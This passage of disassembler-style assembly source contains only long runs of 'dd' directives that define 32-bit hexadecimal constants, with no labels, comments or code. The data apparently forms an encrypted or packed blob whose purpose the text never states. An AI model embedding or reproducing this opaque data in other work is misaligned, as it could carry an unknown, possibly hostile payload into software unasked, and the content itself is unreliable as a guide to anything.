		dd 2FC3FA84h, 0CAE328A5h, 0EA5B53ADh, 0FD1B9FA2h, 0C1CCF8D3h
		dd 149E68Fh, 0C3C8D831h, 93D01EF7h, 0E3309768h,	0FB0E0005h
		dd 46E9BD78h, 95489D34h, 0A2659A0h, 59272C35h, 0F3E90541h
		dd 0C1218873h, 940D5B80h, 355D87FEh, 8E483623h,	0E13B3B41h
		dd 28176C29h, 282FF55Ah, 25DF7313h, 4C0F332Bh, 1732AE77h
		dd 24C565Bh, 0DCF6E3B4h, 790657Eh, 507CE438h, 97DD8B58h
		dd 6BEB807Ah, 99E54F0Ah, 5259183Bh, 5B2AE912h, 4D7F41E6h
		dd 2B031B15h, 0BDB2D3ECh, 5D5E8BE8h, 0F7C83127h, 68576190h
		dd 0F7401909h, 0ABC00F17h, 0A91C7D33h, 7B8D6817h, 746E2DBEh
		dd 0CA4122D0h, 20289240h, 1BDE20Ah, 799E31C1h, 9E5FFD29h
		dd 12E5C6BAh, 6906768Fh, 50153F7h, 0FB7DCDE9h, 95DC4A89h
		dd 4C7A3B34h, 48F1E502h, 40C068C0h, 0A1006318h,	87E6D106h
		dd 0BA80E9DEh, 685212F9h, 5A41C276h, 5F95E61h, 28EBA904h
		dd 1DFAA384h, 48A2EF7Bh, 5CD672A6h, 61C7E9D8h, 74682238h
		dd 7842236Dh, 1839CB2Fh, 831542C7h, 3AB2FA19h, 0D53BC159h
		dd 9101FA77h, 58767A19h, 894A037Fh, 0ADC55A3Ah,	0BABC0F0Ah
		dd 4F1F612h, 2F31A7A8h,	68475048h, 807BC22Dh, 962D8464h
		dd 39F75C02h, 9C72F805h, 0D3C0AA7Fh, 0D22BC3E9h, 2752A4AFh
		dd 61EAEDF3h, 60E42B99h, 0C2CB4C29h, 0EF36174Eh, 0E2683460h
		dd 379AA55h, 0E13A27B8h, 0EA3E5A11h, 0E856F023h, 582F2E9Dh
		dd 0E6004B1Bh, 30923F26h, 4C9DEF7h, 41825F4Eh, 847F0FE9h
		dd 0B3AF5CD6h, 395AC924h, 1978C874h, 4AA36637h,	0AE1908F8h
		dd 8EBC007h, 0F7262382h, 0C4D5001Ah, 983F92DBh,	9F1620B4h
		dd 95D3729Fh, 24BA67FCh, 79400D89h, 0A202D97Fh,	897088Fh
		dd 4EE95904h, 0AF412BF1h, 0A13CC625h, 447BF600h, 0F1895F84h
		dd 5D9D22B8h, 23544D2Bh, 646CA6ACh, 123FF906h, 2BAB02ABh
		dd 0CA5D75B3h, 0E9080107h, 0BF3C8D8Eh, 0C0E344E7h, 0C180AA20h
		dd 6AC2E9h, 6958595Fh, 0B98C38D4h, 0A3AD181Dh, 5E2D8287h
		dd 20AF4815h, 8F430B7h,	784BF16h, 173A1F3Dh, 84904DEBh
		dd 5BD928E8h, 0C378E25Bh, 1655F1E9h, 454413Fh, 80D7F733h
		dd 2C72D658h, 9C36A50h,	0D2ACF6BDh, 18CE4444h, 215D0408h
		dd 0D8478A3h, 5EEFB276h, 7445E381h, 0A07D4A02h,	0E2EFEE0Dh
		dd 62D0EDBBh, 5C611F6Ch, 805CB5E9h, 3925CB02h, 0BB531501h
		dd 2A822421h, 0E3AD4897h, 9262CA2Ah, 0C31E5C9Ch, 0B3A41813h
		dd 0AE5F4EF8h, 3819F48h, 31D32B3Bh, 3D24EEE4h, 1D680A07h
		dd 4530F569h, 0E0007F9h, 762BBF4Bh, 2501D58Bh, 0E4F75BDFh
		dd 69652CA1h, 0BF9DA05Dh, 58C45AD9h, 8270A9EAh,	0D73015EBh
		dd 0EA19BA00h, 7595A0CFh, 0B7D7F38Fh, 0D1B71275h, 41EB2EEh
		dd 0F52D75C1h, 12C766C1h, 0E9239283h, 0FF0B83AFh, 483568E1h
		dd 826EE73Dh, 0AE0C64DEh, 0FCC8E90Bh, 5CDDA91Ch, 8451E93Eh
		dd 2BB807B4h, 681686E6h, 0EFA36DD4h, 8CC5824h, 0A02056ECh
		dd 0D47D7F09h, 21D2DD44h, 0F510AE09h, 2776F475h, 51A7A2E7h
		dd 0FEB1046Bh, 73E90FCDh, 2D6693C6h, 0CFF666B2h, 844FB448h
		dd 0CDAE13B8h, 0FEE121F3h, 66EFE0D6h, 5F7DAA8h,	140C1F2Dh
		dd 41B4E844h, 5AFFF207h, 3164FD57h, 4AA52F68h, 83B6F18h
		dd 0BDB498B7h, 0AE3AE14Bh, 0ABF5F35h, 4F8B1E0Ah, 0D156443h
		dd 236AF817h, 0C2D863A1h, 0B0C4B00Ch, 79E92FC2h, 0BA208D84h
		dd 11E5CB81h, 0A9243ACh, 8FC51FC0h, 0F9E556D0h,	688291A9h
		dd 3EC0355Eh, 0EF4FD79Ah, 5DE9F828h, 800BCE17h,	9985D0ECh
		dd 9B96C299h, 0A4707477h, 323E09A4h, 0F2F2C81Bh, 46FEBAABh
		dd 0A42DD54Bh, 6444C2B3h, 47E3CD31h, 4360E5C0h,	2539BEB0h
		dd 0C5DE9EFDh, 1769F4DEh, 6452BB13h, 0FA2694BAh, 2521E0D8h
		dd 6CFF5AD0h, 0ADE912B2h, 2632EE31h, 0B5095F6Ch, 9FB414D7h
		dd 0E916B9C6h, 0FF901DF7h, 1B55A8h, 0ECE6BA44h,	53E9018Bh
		dd 0D7044995h, 0A4376EDCh, 56F63094h, 6F4E1B7h,	5BFA1C40h
		dd 0D07EA8A0h, 0C85F8696h, 9271EC69h, 0C380032Bh, 0AEB25230h
		dd 2863EAB0h, 594B2C90h, 0B925B8BDh, 9584A443h,	7B5084Ch
		dd 0A2DDEE00h, 24DE015Ah, 550315Bh, 0F822DB68h,	80FC005h
		dd 5A876C8Fh, 3203B8CFh, 0F0667A70h, 5B23046h, 0AF58C5C5h
		dd 0DBDF7328h, 0DFC305Eh, 10215FC6h, 0B104AC13h, 0D30938BCh
		dd 0D071E828h, 117CE961h, 3C77FF00h, 2A799BA1h,	0E89271A8h
		dd 0CBC1927Ch, 7072035Eh, 3443B312h, 4684FE6Fh,	6B8731ABh
		dd 0F6B62E0Bh, 12031B50h, 0E9477957h, 59084012h, 0F53C8725h
		dd 37602ECCh, 723BFF7h,	0BE310702h, 0D0760C1Ch,	505FCE81h
		dd 0AFBF8D73h, 28E2115h, 41704CDFh, 2F3026D1h, 5BE60078h
		dd 5249D728h, 73BBA00h,	0D62979D2h, 732432E9h, 784A5A64h
		dd 0A8421EF7h, 4A14E961h, 0A88AFE90h, 4A8B810h,	2A966859h
		dd 2D50C9D8h, 0CFD8F2B0h, 4CE98013h, 709FF08h, 0B229B652h
		dd 745FA4EEh, 0CDF2C3Ah, 305063E0h, 2A2087A4h, 0F7810274h
		dd 4E8E1458h, 89637BD5h, 0E7F255A1h, 870CB391h,	9C13BB5h
		dd 34C0446h, 69BB9A20h,	6F7EA458h, 25BDCB07h, 28D40BC2h
		dd 0DC6EDFE1h, 7E0E2DD7h, 0A161631Dh, 14887148h, 741427Ch
		dd 13D5E440h, 455A0963h, 892BD8E9h, 352180DDh, 161CF634h
		dd 0B858C331h, 276916FFh, 4E0FCEFEh, 0B9A45BFCh, 0D23F8488h
		dd 0B012BB17h, 0D53BB7B9h, 35329001h, 0E8480436h, 7F02C205h
		dd 0D14034F5h, 0D0D863E0h, 157D29E8h, 0D9F8E906h, 4276B907h
		dd 0C302E99Dh, 680179AEh, 738B3159h, 0D2CE207Dh, 0DD295525h
		dd 0A03A394Dh, 0D2429D03h, 2065647Fh, 0FE3936A8h, 80C61CCEh
		dd 0BFFB989Ch, 8560AF7Fh, 0F2FA019Eh, 5589E5h, 61AA2D34h
		dd 80DCB75Dh, 4909F0BBh, 55C82150h, 0CB7C0D30h,	6369D4B5h
		dd 0BE851858h, 68C2FEE3h, 79596BBBh, 7142501Eh,	51350626h
		dd 0E9484103h, 9B32C3Dh, 0ED0295Dh, 0FB0F4106h,	432A054Eh
		dd 0F281E973h, 7EE8A5Eh, 80B8AE1h, 55D65552h, 97DAE970h
		dd 0BD5C9025h, 0CFC112D6h, 0C45E0FA7h, 1998AEF0h, 0BBA2BD3Bh
		dd 55294B35h, 84E9DF10h, 22F0AA54h, 12BB7800h, 5803E281h
		dd 0E9250D46h, 6B20C3C8h, 5A7A14E9h, 0C0A50B8Fh, 17842289h
		dd 0FA85EAE8h, 9BFDB16h, 67756666h, 18F92FC8h, 0C4B1A0B2h
		dd 2E77583Ah, 0A996A3Dh, 0FBBB165Ah, 2829032Ch,	404B7125h
		dd 5D16A5BBh, 22214732h, 4AC5F74Eh, 0F32AE049h,	9670BF23h
		dd 8B255120h, 7392BFC1h, 7D5B5DD4h, 731A1542h, 72092F99h
		dd 163A52F5h, 67122568h, 0FB379411h, 0E4BF8364h, 0BC1A1Eh
		dd 1830F72Fh, 4C99022Eh, 3252FBCh, 0FAD528B2h, 605B54A2h
		dd 355B0FB9h, 17911F3Fh, 5C8BBEFh, 0B26C167Fh, 53AA146h
		dd 3D13BE07h, 0F7DF63D2h, 2EC7C7A1h, 0F6D7EFFCh, 0ED0447DCh
		dd 12E62FF2h, 0AA5F35BCh
		dd 5626F32Dh, 3D9D281Ah, 56036D60h, 416579FDh, 7CCEF508h
		dd 0B85E0EADh, 8BBB6F69h, 0E62BDD2Dh, 0EDC027Dh, 39F97F8Eh
		dd 572E3A09h, 40BF1A64h, 0BD5B4284h, 0F5D5C782h, 46D6F701h
		dd 4B7081C5h, 43984C11h, 0D1DBDC15h, 0EF0D7A06h, 0ED04CE5Bh
		dd 53B46B70h, 93FE5080h, 686D0C05h, 9FD10EDFh, 97532340h
		dd 3829B640h, 6C36B58h,	3C402F0Fh, 590B568h, 3109FAF6h
		dd 76463D3Ah, 0CF5E5208h, 64BFC025h, 9672095Ch,	0F3DB5B56h
		dd 2D9CEB01h, 5E600FB0h, 38541327h, 3FC10C1Ch, 0F2B7054Ch
		dd 87E9971h, 5A165DC8h,	51A3DBEEh, 0F970035h, 5D97C0B7h
		dd 74952BBEh, 0EFC24415h, 0C1FB2F75h, 77345A3h,	7C2CE800h
		dd 2EB13A51h, 0C81D9AB8h, 42C52604h, 30754FFFh,	0D37AE9FFh
		dd 405600D5h, 10E10D48h, 800FD63Bh, 6D39FB35h, 137D053Fh
		dd 0FF97A48Eh, 0DDB610h, 6E1FD1E5h, 31E9E821h, 4864596h
		dd 598BBAE7h, 5453840Dh, 2DB422ECh, 47D940D2h, 5E4F159Dh
		dd 3CDDC3BAh, 0D2E1135Eh, 9E1A96Ah, 686B36E9h, 2F63EB17h
		dd 0FE7A16E8h, 0E94FD709h, 13E2D813h, 0B53B62Ch, 0AFA8BF34h
		dd 3E572D84h, 0E95C1743h, 1EDC138h, 38FB2BF5h, 42481BF0h
		dd 75EDDA90h, 0A3190586h, 3ED3F204h, 52EB7F3Ch,	3A190BA5h
		dd 133CC751h, 0FD54E567h, 68CD0444h, 0D4AE2DA9h, 5A080B65h
		dd 27A24557h, 0E9C107D3h, 53228AFAh, 743EF303h,	94E16E99h
		dd 3CEA2A62h, 6A34E999h, 13BEFF4Ah, 5AE79272h, 0F2037E55h
		dd 8D731F2h, 48902CFEh,	8D9D3B65h, 5C2516B8h, 81891675h
		dd 3B092C6Eh, 0EBE5E3A9h, 0C52E16F6h, 1777A675h, 0E7C2EC0Ah
		dd 772C760Fh, 0DFE5E3B3h, 52661E83h, 14D2E950h,	575C34C6h
		dd 1190264h, 7E5A6BDDh,	3EA6204h, 0D80B8AD2h, 0FF43E364h
		dd 0FA4F0004h, 0BD691BF0h, 54C62648h, 3F9E7818h, 5161A0Ch
		dd 6D689D74h, 2FC0995Bh, 18F5E6E5h, 0B8F359E2h,	22661B00h
		dd 3B5F781h, 0D440A628h, 0A17FB0Ch, 1FEE0C04h, 19E02FEh
		dd 0F1BF6EEFh, 0E99B24A3h, 58419524h, 7765E582h, 1E4AC01Bh
		dd 94EF8851h, 0F46CE716h, 4835CBBFh, 17137E0Eh,	66F03D5Ah
		dd 783B182Bh, 5E740C42h, 5C1DFF26h, 0E7608F16h,	2D68E0D3h
		dd 6E5C1149h, 7CD2B2C5h, 0D3A7405Dh, 3E31815Ch,	597A6EFCh
		dd 871DD83Ch, 0C557D2D9h, 0FC3282E8h, 0A3DCBFEAh, 0EA3EB01h
		dd 0D1F46DBBh, 0C6D1C0E0h, 7F9A7811h, 87FAE6F4h, 5CEC794Ah
		dd 0F4C57CFh, 92C95F15h, 4ABCD0C6h, 6DDFA87h, 0C392002Ah
		dd 686ACE12h, 48B3B0B0h, 25A20C08h, 106CE475h, 4FFEFDF6h
		dd 12FC6F7h, 0F0E9D548h, 6C8C404Bh, 56CC09F2h, 37187444h
		dd 4D4EB1E9h, 1603DCB4h, 0F069C44Ch, 7091792h, 0F6D1013Eh
		dd 95092024h, 99000FF5h, 0FF487540h, 32190BEBh,	91CA5810h
		dd 65E90802h, 54B80957h, 158470B5h, 0CD7CBBAAh,	0E597BA03h
		dd 3244012Dh, 1756423h,	6ED31FBh, 0E1037008h, 0E97AFF70h
		dd 31553253h, 79FD8996h, 8B7C69A2h, 90167A4h, 21F4C7FDh
		dd 4A4CEC22h, 822A4126h, 56516866h, 0A7BB9D56h,	62145E40h
		dd 0C76036B2h, 649755F6h, 0B850039Dh, 2AAB5CBFh, 0CBA0B9FBh
		dd 609DE131h, 95DDE9D8h, 815C29CAh, 5F4B6020h, 0D85532BAh
		dd 0B4133E70h, 0D8EB8882h, 0D950285Eh, 3A412B59h, 0B9D7B343h
		dd 0D6EC1718h, 0D6DC9AB0h, 1023FD86h, 9384481h,	2930BA89h
		dd 8315E6DDh, 0B3AA100Ch, 29553B19h, 0EF07F106h, 11E6716Fh
		dd 0B251040Ch, 8E313DD6h, 0A0AC5AEBh, 5D0BE990h, 80DF5140h
		dd 7659D52Dh, 2581A878h, 0A6135021h, 600341DEh,	48125D10h
		dd 9BB11F35h, 9A6144F8h, 56C53CC6h, 0E2B45B7Fh,	0BAE496D5h
		dd 16CBB482h, 2329BE66h, 503BCB2Eh, 599715BBh, 0A48B69BDh
		dd 31E0DB7Eh, 1A3AA311h, 0D35F581h, 5D90EAF5h, 0E942637Bh
		dd 53FDC63h, 0E8E5D15Eh, 4E6809F4h, 41157208h, 873F201Ch
		dd 3A49FB5Ch, 0DF6A7231h, 8A047A08h, 1EFE1A0h, 0C135C08h
		dd 770A3E66h, 1A2F08E9h, 0FC0AF028h, 0CA0A12BBh, 0A3520114h
		dd 201FCB35h, 0DBC0560h, 301E5A8Bh, 2F64B819h, 85746BCFh
		dd 89055842h, 0C09D540Bh, 0D675ECEBh, 0C3292614h, 690841EDh
		dd 31A25F65h, 6D502CC9h, 9BD6FB2h, 0AF515DBAh, 0D032FD49h
		dd 34737255h, 0EE41E347h, 8B40CC8Bh, 40D75AE9h,	263AC533h
		dd 6FF6434Ch, 0A0A3E04Ah, 254D4713h, 6A1EDFCh, 4BC711ADh
		dd 3C6C0A0Ch, 0BC51E64h, 0BAABF1E9h, 5BE018D9h,	9E286F88h
		dd 0FB1BC275h, 0CCF0DB63h, 0DC2E6859h, 82C31A3Ch, 2FE9D028h
		dd 0B1CAA845h, 6BADF08Ch, 0C80E108Bh, 3D5E4239h, 527B100Ch
		dd 93B5B2Ch, 98FDF215h,	80C6F0B9h, 630F102Dh, 69401483h
		dd 0B7432017h, 0EEFC0E2h, 80DFF608h, 0CBD081ABh, 0F7306D1Dh
		dd 0C7C05A9Eh, 8BFC0827h, 9D75971Ch, 4E47283Eh,	528B2155h
		dd 0D4993FB2h, 2520B4DCh, 1F5EF3E9h, 275BF7BCh,	7FBF5901h
		dd 66D2D95Bh, 4DFEFE30h, 0C825A1BEh, 0CD4B5630h, 0D96DF95h
		dd 680ACF7h, 52FB2315h,	2C1F0B8Ah, 7604DD6Dh, 0F176FA1Ah
		dd 9579D0Dh, 7D5B7FCFh,	0D51F84C9h, 27638AAAh, 692EDE1Eh
		dd 51DCD1DFh, 2AC7E95Ch, 259FFAF3h, 2FDDD71Ah, 0C0B03730h
		dd 325F95BDh, 0BBF2F58Dh, 0A7973675h, 57092099h, 0E916FE6Eh
		dd 22AC7BC5h, 28CCAED2h, 0BFA74B78h, 2288AB71h,	28591481h
		dd 0D75B66D8h, 6BE62DD9h, 0B20C7964h, 1E6B8306h, 8A635008h
		dd 80F771B8h, 45C617F8h, 1EBCFA89h, 0E38A92C6h,	0C05AA726h
		dd 0DD315DE5h, 583C779Bh, 2168091Eh, 88C55123h,	7B2F52B4h
		dd 13AE20C5h, 803F2011h, 0BE38E968h, 5375A09Dh,	29FAA568h
		dd 2C321881h, 22480043h, 2EE925C0h, 58B6B759h, 0FA975B92h
		dd 0D4088BCEh, 9FDE897Fh, 3C61D45Eh, 5FC66248h,	0F2879200h
		dd 8C1D6F7h, 2279CA81h,	87204AC9h, 881940C6h, 0F312E672h
		dd 0E7EF148Bh, 9674D82Bh, 80E49DCCh, 3D1B7BBFh,	0A5308F55h
		dd 9DE55F4Eh, 0CFA03EAFh, 2F4A3952h, 0D6382D42h, 6C9489F1h
		dd 0A71995FFh, 0BAE99BFCh, 0DAF35F1Ah, 0B5906A8Ch, 0D776BFCAh
		dd 0D78A025Ah, 8EBE0C32h, 0BB5DF740h, 2224893Eh, 668796D9h
		dd 0C5A9BF16h, 9F1C210Bh, 9D5EACBh, 575968E0h, 0B0F9657h
		dd 0F43DE12Dh, 70933EAh, 92F1E7DDh, 0EC8084D6h,	226B2C27h
		dd 9C90A212h, 58DF776Dh, 0B5063530h, 0DE67D82Bh, 5B957520h
		dd 966EF25Ch, 0EFFF21AFh, 0E70B61F7h, 537023ADh, 3E7F1AF1h
		dd 0EADC8232h, 67655536h, 0C15AE868h, 0BE00EDC4h, 233D48A1h
		dd 4519172Bh, 0F3CC629h, 0AFAFC55Eh, 219E808h, 2D23685Eh
		dd 0B4489EFFh, 329A0215h, 0D17F3Ah, 92F38763h, 3AD5FECEh
		dd 80561064h, 1D0209D6h, 0E95B3006h, 7495B8C1h,	12CEF4EEh
		dd 10D60171h, 0A65B083Bh, 685604CAh, 8DE3218Bh,	385C3301h
		dd 3CFBE913h, 0CA28023Ch, 6135EA80h, 0EC22D973h, 66AFD73Bh
		dd 815E9F42h, 0CF68059h, 0DF960236h, 8E3C100h, 24D5BA52h
		dd 80B0455h, 4A0BD451h,	14DA8492h, 7F1E2DABh, 0BD55FD42h
		dd 2DF8D8F6h, 2574FDE9h, 1509D769h, 1CE45DFh, 46504CBEh
		dd 0AB5F3005h, 339A0782h, 0AE4C38A8h, 7811D34Fh, 88C5B427h
		dd 0BE4997F9h, 685C0B86h, 0B3556C2Ch, 6AD4D173h, 25E9F44Ch
		dd 4BD36E77h, 0F5F1218Bh, 7C75C11Ah, 0C9045A8Ah, 6680247h
		dd 62F97C73h, 3DA01C61h, 0C6802BB6h, 5EA3F4Eh, 0E1E9A46Ch
		dd 7C77CAA2h, 0A402EBA5h
		dd 5D0767A5h, 51FB4162h, 0C4A29615h, 1DBCEB9Fh,	40F62AA1h
		dd 14EC35EDh, 52F95A2Dh, 0AF685AAEh, 4F66F336h,	0FEE217BFh
		dd 36B4C741h, 0C545540Eh, 555A3749h, 0D3895383h, 3B061DD9h
		dd 0EA815F21h, 1020E22Ah, 424C2B74h, 0B077AA05h, 4480BA14h
		dd 5E21835h, 82E90A7Fh,	7B92CA4Fh, 19264327h, 14B4E26Dh
		dd 0AD2CD5B1h, 6D0845Bh, 81EE3004h, 7C5B230Eh, 8F0B9ECCh
		dd 2FF42307h, 0D2651C20h, 98DD2716h, 97C009BFh,	26A8495Ch
		dd 6137E83Ah, 57E4F20Ch, 0D90504A7h, 27AE973h, 0EC433DE7h
		dd 0A293E02Ah, 12D8EC7Ah, 8C5FF909h, 5131682Fh,	22827F01h
		dd 0E464377Ah, 850F04ABh, 2BE4B1AAh, 0E9B116BCh, 24F5CAC8h
		dd 0AAC2CC95h, 0F4606AFEh, 5AF1036Fh, 0C8818304h, 0F192D22Ch
		dd 87FED804h, 0F51E5307h, 66E80A5Ah, 7EB6C5B1h,	8D8BE827h
		dd 0CA701008h, 2A8C7AF7h, 27D140A3h, 0D2E05DEEh, 6113F681h
		dd 5004AB17h, 0B2EE2F7Fh, 0D6A72CAEh, 5EAA0593h, 0E0B6928Ch
		dd 350040D5h, 4D1178F2h, 4509025h, 10E9015Fh, 52758C68h
		dd 284E12F2h, 0DECD54ADh, 681920C7h, 28B6C440h,	9885082Ah
		dd 286F5C11h, 19ED4881h, 0B3F87EAFh, 0F4974A78h, 0A30BEBABh
		dd 0CB12614Dh, 0A6114E56h, 0FF9A4EA6h, 8A14E90Ch, 7509C26Bh
		dd 645501h, 0FAC4E78Bh,	7BAA906Eh, 537030D4h, 7733450Ch
		dd 90044058h, 0A8E90B08h, 6F016870h, 0FF47B7FCh, 32B65892h
		dd 935D022Fh, 0B59603C1h, 28102CACh, 59FDEFFh, 0BF4B6859h
		dd 4A54A38Ch, 0B127E85Ah, 40790AAh, 7E3CC2D8h, 0C2575E57h
		dd 0C151E1D1h, 1F135F12h, 74A7595Dh, 420CE396h,	85F7F98Fh
		dd 800E9C7h, 0C159CF89h, 2180BFE7h, 3EEF32ECh, 8EE6FEBFh
		dd 49F901E9h, 0BBA2AC5h, 0BF88580Bh, 33210891h,	0E380590Eh
		dd 3ACC3036h, 2812C20Ch, 0B89556E2h, 0C49B2029h, 4DC9D0Ch
		dd 52B8C830h, 3A23888Bh, 0C593CDFEh, 0F73D7C2Bh, 9A06963Ch
		dd 0F516C4ADh, 200FE5Eh, 0B11DB0EDh, 0ADF5950Ch, 0F7F8D733h
		dd 4CAF7174h, 5524B423h, 0BC61A57Ch, 0CEE33B2Dh, 0A2F33984h
		dd 0F8B417D2h, 5677D509h, 0EE5C0CECh, 1BEEEF1Fh, 9EE7D14Dh
		dd 0F609954Bh, 1FC0809Eh, 0CB8129B5h, 0F7348F0Ah, 0F1A9445h
		dd 0BD97687h, 0AEE8D095h, 1B1260EBh, 84025C7Fh,	40E4644Bh
		dd 9F97A8D9h, 0ECBDB29Ch, 0D7F920DDh, 2E887FA0h, 926A033Dh
		dd 0CF4238EBh, 0CBC6FE1Fh, 7D20A280h, 0E1B104E3h, 25E2435Dh
		dd 515B0C20h, 72A5E897h, 2A6234F5h, 77889396h, 0BDC098E7h
		dd 0B8356438h, 426F6517h, 0F4398816h, 357E3CCh,	8F17B8BFh
		dd 7E594710h, 55444ADCh, 26F88BE6h, 0B47E5C89h,	8AF27589h
		dd 0C6077CA9h, 26E56A59h, 9A6E308h, 0F9572158h,	0F5F4BCCh
		dd 5D9C3F42h, 0E142450Fh, 6F67EAF1h, 9375A541h,	1B90C310h
		dd 6B52DB26h, 5C46BB0Bh, 0F68649ACh, 0A2BD8334h, 1B571B6h
		dd 0C26DB068h, 0D2A3DE5Dh, 809E5FC1h, 3378052Eh, 92299B7Fh
		dd 0B1125A0Ch, 0A5CF724Dh, 0C8C065BAh, 0AA9C6856h, 24FBD00h
		dd 1DB87398h, 0E7741C7Fh, 81059000h, 0F82EA661h, 0A4275029h
		dd 79E89018h, 32FF640Fh, 0E4F1C206h, 6B2C5912h,	53D00FE1h
		dd 534A4DB3h, 22F9E51Ah, 6E6F4760h, 0C96D1E28h,	3D6791A0h
		dd 5620C09Dh, 182C74BEh, 12097034h, 5960C7E9h, 2FCBBAA6h
		dd 0FB62588Bh, 50DCF32h, 0EA95D8DDh, 0C72E31FEh, 3E2D55A0h
		dd 68802CF3h, 66703E1Eh, 1AE05F5Eh, 0B0B77D45h,	0BCA54A53h
		dd 7CEE5E60h, 6A63931Dh, 0EC4F092Ah, 821383B9h,	4B48B628h
		dd 10846C74h, 27D23BCh,	4A26BA52h, 0C8DF1A54h, 25E9C130h
		dd 4CD749F1h, 0CA1695B4h, 68568EA8h, 0DC7C422Fh, 3F227A4Bh
		dd 65FF58C6h, 26338808h, 6209412Dh, 0A4B8A180h,	0BF67E744h
		dd 4D36AA0Bh, 22B4ED0h,	7C95D4B8h, 487D2D45h, 98F8014Ch
		dd 0B0AA4048h, 0C130C717h, 17FA6571h, 0C47CAC2Eh, 0CCEF7670h
		dd 0F6F4507Dh, 38BE225Bh, 0D05A6823h, 0B62291B4h, 98D72776h
		dd 81CB7ECCh, 230BD85Dh, 0C64CCDBAh, 34E512F4h,	670280D2h
		dd 2539A638h, 54B7B7D8h, 654678CFh, 8951F19Dh, 73D9F5B0h
		dd 9530F56Bh, 284C4AA6h, 595A10BCh, 38D8681Eh, 3ED8FE4Eh
		dd 50B92DE9h, 0BD52D491h, 3ED9086h, 17158C4Ch, 5F7E538Eh
		dd 5E800B52h, 0A4C61804h, 38905756h, 0A4674712h, 56C801ABh
		dd 9D4CD90Ch, 7509DD0Ch, 6E50C029h, 2A5A8141h, 806A16A1h
		dd 72F64B82h, 2D9969Dh,	50353E84h, 2442C383h, 25851C1h
		dd 2597D095h, 1E69410Ch, 2E27C126h, 0CAF494B1h,	367995FFh
		dd 29C95E6Ah, 2C5E7B3Eh, 37930B30h, 0B38417D3h,	30EEFEFBh
		dd 685753A4h, 0AE08543Ch, 0A20D865Ch, 0A26B24EFh, 1362357Bh
		dd 2013B5EEh, 19176002h, 28FF5E4Fh, 525E9F4h, 0DBC7186Ah
		dd 767D82CBh, 0D7722DD3h, 4BB8DBBDh, 0C15ADFD4h, 0B32BD862h
		dd 67681ECAh, 0C1772A89h, 2D012E32h, 0E2A7F93Ch, 4005B841h
		dd 0F36CE907h, 0F46065AAh, 883F75EFh, 2F7131Bh,	43E0FC89h
		dd 4D62F1CFh, 0CC6B2A58h, 0E9D2E055h, 4CEE62D7h, 1DC2EF01h
		dd 5B14D0D5h, 0A61BEC5Dh, 8294F4BCh, 69200ED7h,	7F66D7CBh
		dd 0FEEA57A3h, 242807Ch, 0F73007E4h, 53CBD158h,	7E43AF6h
		dd 0F2EF5A54h, 4F3A5C34h, 68D278BBh, 187C792Dh,	1F776FC6h
		dd 8150533Ah, 6ECB6197h, 297BC5E9h, 81061305h, 0D84A7502h
		dd 0EFE0D51Fh, 3F7C273Dh, 0D4A4EF01h, 3EE9F0EAh, 9159AF97h
		dd 0C068510Bh, 20FD4712h, 0C29743C7h, 4DF15FFAh, 0AAE708CBh
		dd 0CF8055ADh, 0CC1156B9h, 24B4435Bh, 12AA94EDh, 44BC1FADh
		dd 0EB71261Ah, 0D26800C3h, 0C2E2FC50h, 78903325h, 82076918h
		dd 0CF1CBA63h, 5C298082h, 5B05082Bh, 7D437630h,	0B1195E82h
		dd 365F820h, 0FF97599Ah, 5C57C91Ah, 0B6D4898Fh,	51DEDFAh
		dd 6279EB28h, 5AEAEE3Ch, 803C9848h, 9B180DDEh, 925F088Eh
		dd 0A3CFB800h, 9D31433Ah, 0EFC0F88Fh, 2957B222h, 20231EDh
		dd 9AC35D08h, 0DED8BA16h, 92AAD394h, 9B465AC9h,	69393B2Dh
		dd 0C1DC7B2Bh, 7FB3BD35h, 944D1829h, 0EBE95585h, 853037FEh
		dd 7890B1DFh, 8401271Ah, 9CA86028h, 0FF7C7085h,	0CE31B431h
		dd 354AF04h, 0F558C4B6h, 5BDD2902h, 0E9DA7E77h,	68277053h
		dd 0FEA80EDh, 78B050B4h, 0F77A8666h, 3D21F204h,	0E9807FBEh
		dd 67D9204Dh, 72670C05h, 164062A3h, 0A9057899h,	10D1E945h
		dd 2ABE89FAh, 0D671FFBh, 20680A13h, 0CB409226h,	3EB400B8h
		dd 50BB38F3h, 0C75B0CC1h, 141083EDh, 0EB680C2Fh, 5864AD76h
		dd 8391DF73h, 909DFB13h, 4E7FC3D7h, 431E7319h, 5FD8740Eh
		dd 60C9D3Bh, 0E0296CAh,	0FB6821F1h, 7C09B04h, 227F95C2h
		dd 0C2FE9476h, 71DD0C58h, 6DC56FCAh, 0B9CEBAFBh, 7ABF680Ah
		dd 0B35360F5h, 0C31CFE32h, 3326F380h, 5032E02Fh, 7D4E7DB4h
		dd 3AF439C4h, 0B0194AF5h, 0D90188EFh, 68D1F65Bh, 0D4287C0Ch
		dd 697D349Ah, 698C813h,	286C4070h, 0CA3AE161h, 132BC4E9h
		dd 84D1E94Fh, 5B01C60Fh, 52230268h, 9E1B553h, 8856F8Ah
		dd 0D3CDE3AEh, 6568B94Eh, 84087F5Ah, 79542D48h,	53E523E4h
		dd 0A0ADEC7Fh, 72792705h, 4FC2B5E7h, 285A0705h,	1B1F6337h
		dd 0CB817552h, 53B962CEh, 7AEBEF40h, 40E73E0Eh,	0F3BDB9ECh
		dd 146D7301h, 60E6E937h, 4054347Bh, 0BF302D85h,	4C94FDC1h
		dd 0E5C75425h, 13EFDBh,	0ABC4D6BCh, 9068046Fh, 1D2E5ECh
		dd 0D921D3C2h, 7A016A67h
		dd 9826DE31h, 0DD3C61F6h, 6C205606h, 0E532C18Dh, 442DF076h
		dd 0CEACAE8Eh, 7D37E9A0h, 64EF57BEh, 0DDBF278Ch, 44983E2Dh
		dd 0C8B1C451h, 5F8CEB2Eh, 0E32F5A3Ch, 0F4B8451h, 0BBA134BBh
		dd 0E9B159E9h, 275432FDh, 0CE117534h, 96D02A5Eh, 13E14094h
		dd 64740106h, 5E0C01E7h, 0A4EAE8E9h, 0B22FD146h, 0FD106219h
		dd 7DE90B68h, 59BD59B2h, 4FE269FCh, 69A27B5Dh, 7DB7327Fh
		dd 0EB4D8394h, 0D1572DA2h, 0D3BE70B7h, 9B78FD82h, 59011C90h
		dd 68203A60h, 93516A86h, 0DD7AA7ADh, 468DB1FBh,	0D689EC0Ah
		dd 0DF0E33B4h, 0C5E688E7h, 3513AE9Dh, 0D330B2BEh, 908B6A81h
		dd 0B2BFB381h, 7038EC41h, 1302D015h, 16E9FCC3h,	965C04DBh
		dd 70092A70h, 0F879F32Dh, 6B74F3CDh, 0CF87245Fh, 2F9710D8h
